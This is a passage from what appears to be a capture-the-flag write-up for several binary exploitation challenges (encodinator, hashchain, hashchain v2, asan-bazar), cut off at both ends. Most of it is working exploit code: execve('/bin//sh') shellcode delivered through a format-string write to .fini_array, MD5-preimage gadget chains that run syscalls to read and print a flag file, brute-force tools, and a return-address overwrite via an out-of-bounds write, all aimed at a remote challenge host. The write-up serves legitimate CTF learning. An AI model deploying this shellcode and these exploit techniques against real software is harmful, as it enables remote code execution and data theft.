    out = bytearray()
    for i in range(0, len(s), 5):
        chunk = s[i : i + 5]
        acc = 0
        for c in chunk:
            if not (0x21 <= c <= 0x75):
                raise ValueError(f"invalid base85 char: {c:#x}")
            acc = acc * 85 + (c - 0x21)
        out += acc.to_bytes(4, "big")
    return bytes(out)


def build_payload() -> bytes:
    # /bin//sh execve shellcode (x86_64 Linux, argv/envp = NULL)
    # (Linux accepts argv=NULL; keeps payload small enough for 0x100-byte read)
    shellcode = bytes.fromhex(
        "6a3b"  # push 0x3b
        "58"  # pop rax
        "99"  # cdq (rdx=0 since eax=59)
        "48bb2f62696e2f2f7368"  # mov rbx, 0x68732f2f6e69622f (\"/bin//sh\")
        "52"  # push rdx (NUL)
        "53"  # push rbx
        "54"  # push rsp
        "5f"  # pop rdi
        "52"  # push rdx
        "5e"  # pop rsi
        "0f05"  # syscall
    )

    shell_addr = 0x40000800
    fini_array = 0x403188  # .fini_array[0]

    writes: list[tuple[int, int]] = []
    for off in range(0, len(shellcode), 2):
        half = int.from_bytes(shellcode[off : off + 2], "little")
        writes.append((shell_addr + off, half))

    # Overwrite .fini_array entry to jump to our shellcode in the RWX mapping.
    # Need two 2-byte writes: 0x40000800 => [0x0800, 0x4000, 0x0000, 0x0000]
    writes.append((fini_array + 0, shell_addr & 0xFFFF))
    writes.append((fini_array + 2, (shell_addr >> 16) & 0xFFFF))

    # Assign each write a stack-argument index: arg_base+i holds the address pointer.
    # arg_base depends on how many bytes our base85-decoded prefix occupies; solve by iteration.
    arg_base = 20
    fmt = ""
    for _ in range(20):
        items = [(val, arg_base + i, addr) for i, (addr, val) in enumerate(writes)]
        items.sort(key=lambda t: t[0])

        parts: list[str] = []
        count = 0
        for want, argi, _addr in items:
            cur = count % 0x10000
            inc = (want - cur) % 0x10000
            if inc:
                parts.append(f"%1${inc}c%{argi}$hn")
                count += inc
            else:
                parts.append(f"%{argi}$hn")

        fmt = "".join(parts)
        # Keep the decoded prefix aligned to 8 bytes: len(fmt)%10==0 => decoded_len%8==0.
        while len(fmt) % 10 != 0:
            fmt += "A"

        prefix = b85_decode_full_groups(fmt.encode())
        # Positional args in printf are counted *after* the format string:
        # 1..5 are the register args (rsi..r9), and the first stack slot is arg 6.
        new_arg_base = 6 + (len(prefix) // 8)
        if new_arg_base == arg_base:
            break
        arg_base = new_arg_base
    else:
        raise RuntimeError("failed to converge arg_base")

    prefix = b85_decode_full_groups(fmt.encode())
    if len(prefix) % 8 != 0 or len(prefix) % 4 != 0:
        raise AssertionError("prefix alignment broken")

    ptr_blob = b"".join(struct.pack("<Q", addr) for addr, _ in writes)
    payload = prefix + ptr_blob

    if len(payload) > 0x100:
        raise ValueError(f"payload too long: {len(payload)} bytes")

    # Sanity: ensure our output begins with fmt (block boundary preserved).
    out = b85_encode(payload)[:-1]
    if not out.startswith(fmt.encode()):
        raise AssertionError("output does not start with intended fmt prefix")

    return payload


def exploit(io) -> bytes:
    payload = build_payload()
    io.recvuntil(b"Please give me your text: ")
    # Send our full 0x100-byte payload; extra bytes stay buffered and are read by /bin/sh after execve().
    io.send(payload)
    return payload


def main() -> None:
    context.binary = "./dist/encodinator"
    context.log_level = "info"

    if args.LOCAL:
        io = process("./dist/encodinator")
    else:
        io = remote("52.59.124.14", 5012)

    exploit(io)
    if args.CMD:
        cmd = args.CMD.encode() + b"\n"
    elif args.LOCAL:
        cmd = b"echo PWNED; id; exit\n"
    else:
        cmd = b"cat flag.txt; exit\n"
    io.send(cmd)
    data = io.recvrepeat(2.0)
    out = data.decode(errors="replace")
    if (not args.LOCAL) and (not args.CMD):
        import re

        m = re.search(r"ENO\{[^}]+\}", out)
        if m:
            print(m.group(0))
            return
    print(out)


if __name__ == "__main__":
    main()
```

### hashchain

#### Description

The remote service accepts 100 input lines. For each line it computes the MD5 digest (16 bytes). After exactly 100 lines it concatenates the 100 digests and jumps to them as machine code.

Goal: execute code that reads the flag and prints it back.

Connection: `52.59.124.14:5010`

#### Solution

**1) Turn each MD5 digest into a 2-byte “gadget”.**

If we can find a line whose MD5 digest starts with `eb 0c` (`jmp +0x0c`), execution jumps over the 12 “junk” bytes to the final 2 bytes of the digest. If we brute-force preimages for chosen final 2 bytes, each input line becomes a reliable 2-byte instruction (or two 1-byte instructions) and execution naturally falls into the next digest.

So we brute for digests with:

* `md5[0:2] == eb 0c`
* `md5[14:16] == <chosen 2 bytes>`

**2) Use i386 `int 0x80` syscalls (not `syscall`).**

`syscall` (`0f 05`) killed the process, but `int 0x80` (`cd 80`) works. In this challenge, `int 0x80` uses the i386 ABI:

* syscall number: `eax`
* args: `ebx, ecx, edx, esi, edi, ebp`

We only need `read`, `open`, `write`, `exit`:

* `read` = 3
* `write` = 4
* `open` = 5
* `exit` = 1

**3) Build a tiny `int 0x80` program from 2-byte gadgets.**

We implement:

1. `read(0, esp, 0x20)` to get a NUL-terminated filename from the socket/PTY.
2. `open(esp, 0, 0)`
3. `read(fd, esp, 0xff)`
4. `write(1, esp, eax)`
5. `exit(0)`

The correct filename on the server is `./flag.txt`.

**4) Exploit code**

`solve.py` (final exploit):

```python
#!/usr/bin/env python3
from __future__ import annotations

import json
import re
from pathlib import Path

from pwn import context, remote


HOST = "52.59.124.14"
PORT = 5010


def load_preimages(path: Path) -> dict[str, bytes]:
    doc = json.loads(path.read_text())
    return {k: v["msg"].encode() for k, v in doc.items()}


def build_hash_lines() -> list[bytes]:
    # Each stored hash is the MD5 digest of a line.
    # The executor concatenates 100 digests and jumps to them as code.
    #
    # Every digest we use begins with: eb 0c  (jmp +0x0c to skip junk)
    # and ends with 2 chosen bytes (a 2-byte instruction or two 1-byte ones).
    pre = load_preimages(Path(__file__).with_name("i386_preimages.json"))

    prog = [
        # read(0, esp, 0x20) ; filename
        "xor_ebx_ebx",
        "mov_ecx_esp",
        "xor_edx_edx",
        "mov_dl_20",
        "xor_eax_eax",
        "mov_al_3",
        "int80",
        # open(esp, 0, 0)
        "mov_ebx_esp",
        "xor_ecx_ecx",
        "xor_edx_edx",
        "xor_eax_eax",
        "mov_al_5",
        "int80",
        # read(fd, esp, 0xff) ; file contents
        "mov_ebx_eax",
        "mov_ecx_esp",
        "xor_edx_edx",
        "mov_dl_ff",
        "xor_eax_eax",
        "mov_al_3",
        "int80",
        # write(1, esp, eax)
        "mov_edx_eax",
        "xor_ebx_ebx",
        "mov_bl_1",
        "mov_ecx_esp",
        "xor_eax_eax",
        "mov_al_4",
        "int80",
        # exit(0)
        "xor_ebx_ebx",
        "xor_eax_eax",
        "mov_al_1",
        "int80",
    ]

    lines = [pre[name] for name in prog]
    lines += [b"aN9"] * (100 - len(lines))  # `jmp -2` infinite-loop filler
    assert len(lines) == 100
    return lines


def attempt(filename: bytes) -> bytes:
    context.log_level = "error"
    io = remote(HOST, PORT)
    io.recvuntil(b"> ")

    lines = build_hash_lines()
    io.send(b"\n".join(lines) + b"\n")
    io.recvuntil(b"Executing 100 hash(es) as code...")

    # Canonical TTY delivery likely waits for newline; include it.
    io.send(filename + b"\n")

    out = io.recvall(timeout=2)
    io.close()
    return out


def main() -> None:
    for fname in (b"./flag.txt\x00", b"flag.txt\x00", b"/flag\x00", b"flag\x00"):
        out = attempt(fname)
        m = re.search(rb"ENO\{[^}]+\}", out)
        if m:
            print(m.group(0).decode())
            return
    raise SystemExit("flag not found")


if __name__ == "__main__":
    main()
```

`i386_preimages.json` (precomputed MD5 preimages used by the exploit):

```json
{
  "xor_eax_eax": {"msg": "HC3_000000030292c99b", "md5": "eb0ca5fa5997f73689b57a1a12a031c0"},
  "xor_ebx_ebx": {"msg": "HC3_0000000039c567f3", "md5": "eb0c9f0317c086bcc438e579abcc31db"},
  "xor_ecx_ecx": {"msg": "HC3_00000000a87c5783", "md5": "eb0ca7351546f0f9b5b4b5cce5dd31c9"},
  "xor_edx_edx": {"msg": "HC3_00000000a1c3751c", "md5": "eb0cd165ce2c3752d16035e2fc1b31d2"},
  "mov_ecx_esp": {"msg": "HC3_00000003d9ec0cf3", "md5": "eb0c07cbc5f01266b1c9cef5ddce89e1"},
  "mov_ebx_esp": {"msg": "HC3_0000000045198e88", "md5": "eb0c391eaa6fefe3465e8f0ff2b989e3"},
  "mov_ebx_eax": {"msg": "HC3_000000001890679a", "md5": "eb0c69268516e05fa80111a42fab89c3"},
  "mov_edx_eax": {"msg": "HC3_00000000d3ff764f", "md5": "eb0cf5333de01ab3d5103de44f0989c2"},
  "mov_dl_20": {"msg": "HC3_00000000dbdd7635", "md5": "eb0cdf0295811743824c6e860a84b220"},
  "mov_dl_ff": {"msg": "HC3_000000004fe37aaa", "md5": "eb0c848eecceafc61b3928762888b2ff"},
  "mov_al_3": {"msg": "HC3_0000000133f67f4d", "md5": "eb0c89d7ef9527bfc0457d273b26b003"},
  "mov_al_4": {"msg": "HC3_0000000047585a3d", "md5": "eb0ce1ed8e5892ccc1c59f60d7fab004"},
  "mov_al_5": {"msg": "HC3_00000000a223515e", "md5": "eb0c6bfdbd67edc3ddaa780d8929b005"},
  "mov_al_1": {"msg": "HC3_000000003b998b8d", "md5": "eb0c39c4f331332bd5a185b321b5b001"},
  "mov_bl_1": {"msg": "HC3_000000019e15074f", "md5": "eb0c4337c38ab0329c1098d49eb1b301"},
  "mov_bl_3": {"msg": "HCFD_0000000000599192", "md5": "eb0cc03516db2c0aa7cb8d172d47b303"},
  "int80": {"msg": "HC3_000000011192555c", "md5": "eb0cd386e7ad8e2c09d63d6a14e3cd80"}
}
```

**5) Brute-force code used to generate gadgets**

`brutemd5_i386.c` (multi-target brute for the i386 gadget set):

```c
#include <openssl/md5.h>
#include <pthread.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

typedef struct {
  uint16_t suffix;
  const char *name;
} Target;

static const Target kTargets[] = {
    {0x31c0, "xor_eax_eax"}, // 31 c0
    {0x31db, "xor_ebx_ebx"}, // 31 db
    {0x31c9, "xor_ecx_ecx"}, // 31 c9
    {0x31d2, "xor_edx_edx"}, // 31 d2
    {0x89e1, "mov_ecx_esp"}, // 89 e1
    {0x89e3, "mov_ebx_esp"}, // 89 e3
    {0x89c3, "mov_ebx_eax"}, // 89 c3
    {0x89c2, "mov_edx_eax"}, // 89 c2
    {0xb220, "mov_dl_20"},   // b2 20
    {0xb2ff, "mov_dl_ff"},   // b2 ff
    {0xb003, "mov_al_3"},    // b0 03
    {0xb004, "mov_al_4"},    // b0 04
    {0xb005, "mov_al_5"},    // b0 05
    {0xb001, "mov_al_1"},    // b0 01
    {0xb301, "mov_bl_1"},    // b3 01
    {0xcd80, "int80"},       // cd 80
};

typedef struct {
  atomic_int found;
  char msg[256];
  unsigned char digest[MD5_DIGEST_LENGTH];
} Found;

static Found g_found[sizeof(kTargets) / sizeof(kTargets[0])];
static atomic_int g_done = 0;
static pthread_mutex_t g_lock = PTHREAD_MUTEX_INITIALIZER;

static void u64_to_hex16(uint64_t x, char out[16]) {
  static const char *hex = "0123456789abcdef";
  for (int i = 15; i >= 0; i--) {
    out[i] = hex[x & 0xF];
    x >>= 4;
  }
}

static int all_found(void) {
  for (size_t i = 0; i < sizeof(g_found) / sizeof(g_found[0]); i++) {
    if (!atomic_load(&g_found[i].found)) {
      return 0;
    }
  }
  return 1;
}

typedef struct {
  int tid;
  int nthreads;
  const char *prefix;
} WorkerArgs;

static void *worker(void *vp) {
  WorkerArgs *args = (WorkerArgs *)vp;
  const size_t prefix_len = strlen(args->prefix);
  if (prefix_len + 16 >= sizeof(g_found[0].msg)) {
    fprintf(stderr, "prefix too long\n");
    exit(1);
  }

  unsigned char digest[MD5_DIGEST_LENGTH];
  char msg[256];
  memcpy(msg, args->prefix, prefix_len);

  for (uint64_t ctr = (uint64_t)args->tid; !atomic_load(&g_done);
       ctr += (uint64_t)args->nthreads) {
    u64_to_hex16(ctr, msg + prefix_len);
    msg[prefix_len + 16] = '\0';
    MD5((const unsigned char *)msg, prefix_len + 16, digest);

    if (digest[0] != 0xEB || digest[1] != 0x0C) {
      continue;
    }

    const uint16_t suffix = (uint16_t)((digest[14] << 8) | digest[15]);
    for (size_t i = 0; i < sizeof(kTargets) / sizeof(kTargets[0]); i++) {
      if (suffix != kTargets[i].suffix) {
        continue;
      }
      if (atomic_load(&g_found[i].found)) {
        break;
      }
      pthread_mutex_lock(&g_lock);
      if (!atomic_load(&g_found[i].found)) {
        atomic_store(&g_found[i].found, 1);
        strncpy(g_found[i].msg, msg, sizeof(g_found[i].msg) - 1);
        memcpy(g_found[i].digest, digest, sizeof(g_found[i].digest));
        fprintf(stderr, "[+] found %s: %s\n", kTargets[i].name, g_found[i].msg);
        if (all_found()) {
          atomic_store(&g_done, 1);
        }
      }
      pthread_mutex_unlock(&g_lock);
      break;
    }
  }
  return NULL;
}

static void print_hex(const unsigned char *buf, size_t n) {
  for (size_t i = 0; i < n; i++) {
    printf("%02x", buf[i]);
  }
}

int main(int argc, char **argv) {
  const char *prefix = "HC3_";
  int nthreads = (int)sysconf(_SC_NPROCESSORS_ONLN);
  if (nthreads <= 0) {
    nthreads = 4;
  }

  int opt;
  while ((opt = getopt(argc, argv, "p:t:")) != -1) {
    switch (opt) {
    case 'p':
      prefix = optarg;
      break;
    case 't':
      nthreads = atoi(optarg);
      break;
    default:
      fprintf(stderr, "usage: %s [-p prefix] [-t threads]\n", argv[0]);
      return 2;
    }
  }

  fprintf(stderr, "[*] prefix=%s threads=%d\n", prefix, nthreads);

  pthread_t *ths = calloc((size_t)nthreads, sizeof(*ths));
  WorkerArgs *args = calloc((size_t)nthreads, sizeof(*args));
  if (!ths || !args) {
    fprintf(stderr, "alloc failed\n");
    return 1;
  }

  for (int i = 0; i < nthreads; i++) {
    args[i] = (WorkerArgs){.tid = i, .nthreads = nthreads, .prefix = prefix};
    if (pthread_create(&ths[i], NULL, worker, &args[i]) != 0) {
      fprintf(stderr, "pthread_create failed\n");
      return 1;
    }
  }

  for (int i = 0; i < nthreads; i++) {
    pthread_join(ths[i], NULL);
  }

  if (!all_found()) {
    fprintf(stderr, "[-] did not find all targets\n");
    return 1;
  }

  printf("{\n");
  for (size_t i = 0; i < sizeof(kTargets) / sizeof(kTargets[0]); i++) {
    printf("  \"%s\": {\"msg\": \"%s\", \"md5\": \"", kTargets[i].name,
           g_found[i].msg);
    print_hex(g_found[i].digest, sizeof(g_found[i].digest));
    printf("\"}%s\n", (i + 1 == sizeof(kTargets) / sizeof(kTargets[0])) ? ""
                                                                        : ",");
  }
  printf("}\n");
  return 0;
}
```

`brutemd5_one.c` (used to find an extra gadget, `mov bl, 3` / suffix `b3 03`):

```c
#include <openssl/md5.h>
#include <pthread.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static atomic_int g_done = 0;
static pthread_mutex_t g_lock = PTHREAD_MUTEX_INITIALIZER;

typedef struct {
  uint16_t suffix;
  const char *prefix;
  size_t prefix_len;
  int tid;
  int nthreads;
  char out_msg[256];
  unsigned char out_digest[MD5_DIGEST_LENGTH];
  atomic_int found;
} WorkerArgs;

static void u64_to_hex16(uint64_t x, char out[16]) {
  static const char *hex = "0123456789abcdef";
  for (int i = 15; i >= 0; i--) {
    out[i] = hex[x & 0xF];
    x >>= 4;
  }
}

static void print_hex(const unsigned char *buf, size_t n) {
  for (size_t i = 0; i < n; i++) {
    printf("%02x", buf[i]);
  }
}

static void *worker(void *vp) {
  WorkerArgs *args = (WorkerArgs *)vp;
  unsigned char digest[MD5_DIGEST_LENGTH];
  char msg[256];
  memcpy(msg, args->prefix, args->prefix_len);

  for (uint64_t ctr = (uint64_t)args->tid; !atomic_load(&g_done);
       ctr += (uint64_t)args->nthreads) {
    u64_to_hex16(ctr, msg + args->prefix_len);
    msg[args->prefix_len + 16] = '\0';
    MD5((const unsigned char *)msg, args->prefix_len + 16, digest);

    if (digest[0] != 0xEB || digest[1] != 0x0C) {
      continue;
    }
    const uint16_t suffix = (uint16_t)((digest[14] << 8) | digest[15]);
    if (suffix != args->suffix) {
      continue;
    }

    pthread_mutex_lock(&g_lock);
    if (!atomic_load(&args->found)) {
      atomic_store(&args->found, 1);
      strncpy(args->out_msg, msg, sizeof(args->out_msg) - 1);
      memcpy(args->out_digest, digest, sizeof(args->out_digest));
      atomic_store(&g_done, 1);
    }
    pthread_mutex_unlock(&g_lock);
    break;
  }
  return NULL;
}

static uint16_t parse_hex_u16(const char *s) {
  char *end = NULL;
  unsigned long x = strtoul(s, &end, 16);
  if (!s[0] || !end || *end) {
    fprintf(stderr, "invalid hex: %s\n", s);
    exit(2);
  }
  if (x > 0xFFFFUL) {
    fprintf(stderr, "out of range: %s\n", s);
    exit(2);
  }
  return (uint16_t)x;
}

int main(int argc, char **argv) {
  const char *prefix = "HCX_";
  int nthreads = (int)sysconf(_SC_NPROCESSORS_ONLN);
  if (nthreads <= 0) {
    nthreads = 4;
  }
  uint16_t suffix = 0;

  int opt;
  while ((opt = getopt(argc, argv, "p:t:s:")) != -1) {
    switch (opt) {
    case 'p':
      prefix = optarg;
      break;
    case 't':
      nthreads = atoi(optarg);
      break;
    case 's':
      suffix = parse_hex_u16(optarg);
      break;
    default:
      fprintf(stderr, "usage: %s -s <hex16> [-p prefix] [-t threads]\n", argv[0]);
      return 2;
    }
  }
  if (!suffix) {
    fprintf(stderr, "missing -s <hex16>\n");
    return 2;
  }

  const size_t prefix_len = strlen(prefix);
  if (prefix_len + 16 + 1 >= sizeof(((WorkerArgs *)0)->out_msg)) {
    fprintf(stderr, "prefix too long\n");
    return 2;
  }

  fprintf(stderr, "[*] prefix=%s threads=%d suffix=%04x\n", prefix, nthreads,
          suffix);

  pthread_t *ths = calloc((size_t)nthreads, sizeof(*ths));
  WorkerArgs *args = calloc((size_t)nthreads, sizeof(*args));
  if (!ths || !args) {
    fprintf(stderr, "alloc failed\n");
    return 1;
  }

  for (int i = 0; i < nthreads; i++) {
    args[i] = (WorkerArgs){.suffix = suffix,
                           .prefix = prefix,
                           .prefix_len = prefix_len,
                           .tid = i,
                           .nthreads = nthreads};
    if (pthread_create(&ths[i], NULL, worker, &args[i]) != 0) {
      fprintf(stderr, "pthread_create failed\n");
      return 1;
    }
  }
  for (int i = 0; i < nthreads; i++) {
    pthread_join(ths[i], NULL);
  }

  for (int i = 0; i < nthreads; i++) {
    if (atomic_load(&args[i].found)) {
      printf("{\"msg\":\"%s\",\"md5\":\"", args[i].out_msg);
      print_hex(args[i].out_digest, sizeof(args[i].out_digest));
      printf("\"}\n");
      return 0;
    }
  }

  fprintf(stderr, "[-] not found (unexpected)\n");
  return 1;
}
```

Flag: `ENO{h4sh_ch41n_jump_t0_v1ct0ry}`

### hashchain v2

#### Description

The service at `52.59.124.14:5011` repeatedly:

1. reads a line,
2. stores a 4-byte “hash” into an internal buffer at the current offset,
3. asks for the next offset (minimum `4`), and when the next offset would go out of bounds it prints `Buffer full!` and jumps to the buffer, executing the stored hash-words as native code. A per-connection leak prints the runtime address of `win()`.

#### Solution

**1) Identify the hash**

Send a line whose MD5 starts with x86 `jmp -2` (`eb fe`) and then trigger execution of exactly 1 stored word. The known string `aN9` has:

* `md5("aN9") = ebfe416b...` Executing one stored word for `aN9` keeps the TCP connection alive (infinite loop), while random strings quickly EOF. This confirms:
* the hash is `MD5(line)` (newline not included),
* the stored 4 bytes are `digest[0:4]` (the MD5 prefix), executed as code bytes.

**2) Use the `win()` leak with a 2-word i386 stage**

The leaked `win()` pointer looks like a 32-bit PIE address (e.g. `0x5656b25d`), so we use i386 code:

* `push <win_addr>; ret`

Machine code bytes (little-endian immediate) are:

* `0x68 <win0 win1 win2 win3> 0xc3`

We store 2 hash-words (8 bytes total):

* word0 bytes: `68 win0 win1 win2` (must match 4 MD5 bytes)
* word1 bytes: `win3 c3 ?? ??` (only first 2 bytes matter; `??` aren’t executed)

So we need:

* one 32-bit MD5-prefix preimage for `word0`,
* one 16-bit MD5-prefix preimage for `word1`’s first 2 bytes.

**3) Brute-force MD5 prefix preimages locally (fast) and send them**

MD5 is fast enough to brute 32-bit prefix matches with multi-threading. We build a simple C bruteforcer that searches strings of the form `HC4_<16 hex digits>` until `md5(candidate)` starts with the requested 2 or 4 bytes. The exploit:

1. connects and parses the leaked `win()` address,
2. brute-finds the two preimage lines,
3. sends them with offsets `0` and `4`,
4. sets the next offset huge and sends one more line to trigger “buffer full” execution,
5. receives the flag printed by `win()`.

**Code: `brutemd5_prefix.c`**

```c
#define _GNU_SOURCE
#include <errno.h>
#include <inttypes.h>
#include <openssl/md5.h>
#include <pthread.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static const char HEX[] = "0123456789abcdef";

static void die(const char *msg) {
  perror(msg);
  exit(2);
}

static bool hex_to_bytes(const char *hex, uint8_t *out, size_t out_cap,
                         size_t *out_len) {
  size_t n = strlen(hex);
  if ((n % 2) != 0) return false;
  size_t blen = n / 2;
  if (blen == 0 || blen > out_cap) return false;
  for (size_t i = 0; i < blen; i++) {
    char c1 = hex[2 * i];
    char c2 = hex[2 * i + 1];
    int v1 = (c1 >= '0' && c1 <= '9') ? (c1 - '0')
             : (c1 >= 'a' && c1 <= 'f') ? (c1 - 'a' + 10)
             : (c1 >= 'A' && c1 <= 'F') ? (c1 - 'A' + 10)
                                        : -1;
    int v2 = (c2 >= '0' && c2 <= '9') ? (c2 - '0')
             : (c2 >= 'a' && c2 <= 'f') ? (c2 - 'a' + 10)
             : (c2 >= 'A' && c2 <= 'F') ? (c2 - 'A' + 10)
                                        : -1;
    if (v1 < 0 || v2 < 0) return false;
    out[i] = (uint8_t)((v1 << 4) | v2);
  }
  *out_len = blen;
  return true;
}

static inline void write_hex16(char *dst, uint64_t x) {
  for (int i = 15; i >= 0; i--) {
    dst[i] = HEX[x & 0xF];
    x >>= 4;
  }
}

typedef struct {
  int tid;
  int nthreads;
  uint8_t target[4];
  size_t target_len;
  char prefix[48];
  size_t prefix_len;
} worker_args_t;

static atomic_bool g_found = false;
static char g_result[128];
static size_t g_result_len = 0;

static void *worker(void *arg_) {
  worker_args_t *arg = (worker_args_t *)arg_;

  uint64_t i = (uint64_t)arg->tid;
  char buf[96];
  memcpy(buf, arg->prefix, arg->prefix_len);
  char *hexp = buf + arg->prefix_len;

  const size_t msg_len = arg->prefix_len + 16;
  unsigned char digest[16];

  while (!atomic_load_explicit(&g_found, memory_order_relaxed)) {
    write_hex16(hexp, i);
    (void)MD5((unsigned char *)buf, msg_len, digest);
    if (memcmp(digest, arg->target, arg->target_len) == 0) {
      bool expected = false;
      if (atomic_compare_exchange_strong(&g_found, &expected, true)) {
        memcpy(g_result, buf, msg_len);
        g_result_len = msg_len;
      }
      break;
    }
    i += (uint64_t)arg->nthreads;
  }
  return NULL;
}

static int default_threads(void) {
  long n = sysconf(_SC_NPROCESSORS_ONLN);
  if (n < 1) return 1;
  if (n > 256) n = 256;
  return (int)n;
}

static void usage(const char *argv0) {
  fprintf(stderr,
          "Usage: %s --target <hex> [--prefix <str>] [--threads N]\n"
          "  --target: hex bytes to match at start of MD5 digest (2 or 4 bytes)\n"
          "  --prefix: candidate prefix (default: HC4_)\n"
          "  --threads: number of worker threads (default: nproc)\n",
          argv0);
}

int main(int argc, char **argv) {
  const char *target_hex = NULL;
  const char *prefix = "HC4_";
  int nthreads = default_threads();

  for (int i = 1; i < argc; i++) {
    if (strcmp(argv[i], "--target") == 0 && i + 1 < argc) {
      target_hex = argv[++i];
    } else if (strcmp(argv[i], "--prefix") == 0 && i + 1 < argc) {
      prefix = argv[++i];
    } else if (strcmp(argv[i], "--threads") == 0 && i + 1 < argc) {
      nthreads = atoi(argv[++i]);
      if (nthreads <= 0 || nthreads > 256) {
        fprintf(stderr, "Invalid --threads\n");
        return 2;
      }
    } else if (strcmp(argv[i], "-h") == 0 || strcmp(argv[i], "--help") == 0) {
      usage(argv[0]);
      return 0;
    } else {
      usage(argv[0]);
      return 2;
    }
  }

  if (!target_hex) {
    usage(argv[0]);
    return 2;
  }

  uint8_t target[4];
  size_t target_len = 0;
  if (!hex_to_bytes(target_hex, target, sizeof(target), &target_len)) {
    fprintf(stderr, "Invalid --target hex (expected 2 or 4 bytes)\n");
    return 2;
  }
  if (!(target_len == 2 || target_len == 4)) {
    fprintf(stderr, "--target must be exactly 2 or 4 bytes\n");
    return 2;
  }

  if (strlen(prefix) >= sizeof(((worker_args_t *)0)->prefix)) {
    fprintf(stderr, "--prefix too long\n");
    return 2;
  }

  pthread_t *threads = calloc((size_t)nthreads, sizeof(*threads));
  worker_args_t *args = calloc((size_t)nthreads, sizeof(*args));
  if (!threads || !args) die("calloc");

  for (int t = 0; t < nthreads; t++) {
    args[t].tid = t;
    args[t].nthreads = nthreads;
    memcpy(args[t].target, target, target_len);
    args[t].target_len = target_len;
    strcpy(args[t].prefix, prefix);
    args[t].prefix_len = strlen(prefix);
    int rc = pthread_create(&threads[t], NULL, worker, &args[t]);
    if (rc != 0) {
      errno = rc;
      die("pthread_create");
    }
  }

  for (int t = 0; t < nthreads; t++) {
    (void)pthread_join(threads[t], NULL);
  }

  if (!atomic_load(&g_found)) {
    fprintf(stderr, "Not found (unexpected)\n");
    return 1;
  }

  fwrite(g_result, 1, g_result_len, stdout);
  fputc('\n', stdout);
  return 0;
}
```

**Code: `solve.py`**

```python
#!/usr/bin/env python3
from __future__ import annotations

import os
import re
import struct
import subprocess
import sys

from pwn import context, remote


HOST = os.environ.get("HOST", "52.59.124.14")
PORT = int(os.environ.get("PORT", "5011"))
BRUTE = os.environ.get("BRUTE", "./brutemd5_prefix")


def p32(x: int) -> bytes:
    return struct.pack("<I", x & 0xFFFFFFFF)


def brute_prefix(target_prefix: bytes) -> bytes:
    hexstr = target_prefix.hex()
    cp = subprocess.run(
        [BRUTE, "--target", hexstr],
        check=True,
        stdout=subprocess.PIPE,
        stderr=subprocess.DEVNULL,
        text=True,
    )
    line = cp.stdout.strip().encode()
    if not line:
        raise RuntimeError("bruteforcer returned empty line")
    return line


def exploit() -> str:
    context.log_level = os.environ.get("LOG", "error")
    io = remote(HOST, PORT)
    banner = io.recvuntil(b"> ", timeout=3)
    m = re.search(rb"win\(\) is at (0x[0-9a-fA-F]+)", banner)
    if not m:
        raise RuntimeError(f"failed to parse win() from banner: {banner!r}")
    win = int(m.group(1), 16)

    win_le = p32(win)
    target0 = b"\x68" + win_le[:3]  # push imm32 (spans into next word)
    target1_prefix = win_le[3:4] + b"\xC3"  # last imm byte, then ret

    line0 = brute_prefix(target0)  # 32-bit prefix
    line1 = brute_prefix(target1_prefix)  # 16-bit prefix

    io.sendline(line0)
    io.recvuntil(b"Offset for next hash", timeout=3)
    io.sendline(b"4")
    io.recvuntil(b"> ", timeout=3)

    io.sendline(line1)
    io.recvuntil(b"Offset for next hash", timeout=3)
    io.sendline(b"100000")
    io.recvuntil(b"> ", timeout=3)

    io.sendline(b"TRIGGER")
    out = io.recvall(timeout=2) or b""
    io.close()

    mflag = re.search(rb"ENO\{[^}]+\}", out)
    if not mflag:
        raise RuntimeError(f"flag not found; got {out!r}")
    return mflag.group(0).decode()


def main() -> int:
    try:
        flag = exploit()
    except Exception as e:
        print(f"error: {e}", file=sys.stderr)
        return 1
    print(flag)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

Build and run:

* `gcc -O3 -pthread brutemd5_prefix.c -lcrypto -o brutemd5_prefix`
* `python3 solve.py`

### asan-bazar

#### Description

The service is a small “bazaar” program compiled with ASAN/UBSAN. It:

* Reads a `Name` into a stack buffer and then does `printf(name)` (format string bug).
* Lets you “update” a 128-byte ledger with `read(0, ledger + slot*16 + tiny, bytes)` where `slot <= 128`, `tiny <= 15`, `bytes <= 8` (out-of-bounds write).

There is a `win()` function that runs `/bin/cat /flag`.

#### Solution

1. **Leak PIE base (format string)**\
   Send a name like `LEAK|%8$lx|%77$lx|%79$lx|END`:
   * `%8$lx` reliably leaks an address inside `greeting()` (so `PIE = leak - greeting_off`).
   * Due to stack alignment, the saved return address of `greeting()` ends up at either the 77th or 79th “argument” position for `printf`, so we leak both.
2. **Identify which leaked slot is the saved return address**\
   `main` calls `greeting` at `PIE+0xDC04D`, and the return address right after the call is `PIE+0xDC052`.\
   Compare the leaked `%77$lx` / `%79$lx` against `PIE+0xDC052` to choose the correct case.
3. **Overwrite `greeting()`’s saved RIP using the OOB write**\
   The write primitive is:

   * destination: `ledger + slot*16 + tiny`
   * length: `bytes` (we use 8)

   The offset from `ledger` to the saved RIP is either:

   * `0x178` → `slot=23`, `tiny=8`
   * `0x188` → `slot=24`, `tiny=8`

   Write the 8-byte little-endian address of `win()` there. When `greeting()` returns, it jumps to `win()` and prints the flag.
4. **ASAN note (why this works)**\
   ASAN protects the `ledger` stack object with redzones, but the out-of-bounds `read()` can be aimed directly at the saved return address in `main`’s normal stack frame (which is not poisoned by ASAN). `__interceptor_read` checks only the destination range, and that range is “valid” shadow memory, so the write is allowed.

Solver (`solve.py`):

```python
#!/usr/bin/env python3
from __future__ import annotations

import re
import sys
import warnings
from dataclasses import dataclass

warnings.filterwarnings("ignore", message=r"pkg_resources is deprecated as an API\..*")

from pwn import ELF, context, p64, process, remote


FLAG_RE = re.compile(rb"ENO\{[^}]+\}")


@dataclass(frozen=True)
class Target:
    host: str
    port: int
    local: bool


def exploit(io, elf: ELF) -> bytes:
    greeting_off = elf.symbols["greeting"]
    win_off = elf.symbols["win"]

    io.recvuntil(b"Name:")

    # Leak:
    # - %8$lx  => an address inside greeting() (PIE leak)
    # - %77$lx / %79$lx => one of them is main's return address after calling greeting()
    io.sendline(b"LEAK|%8$lx|%77$lx|%79$lx|END")

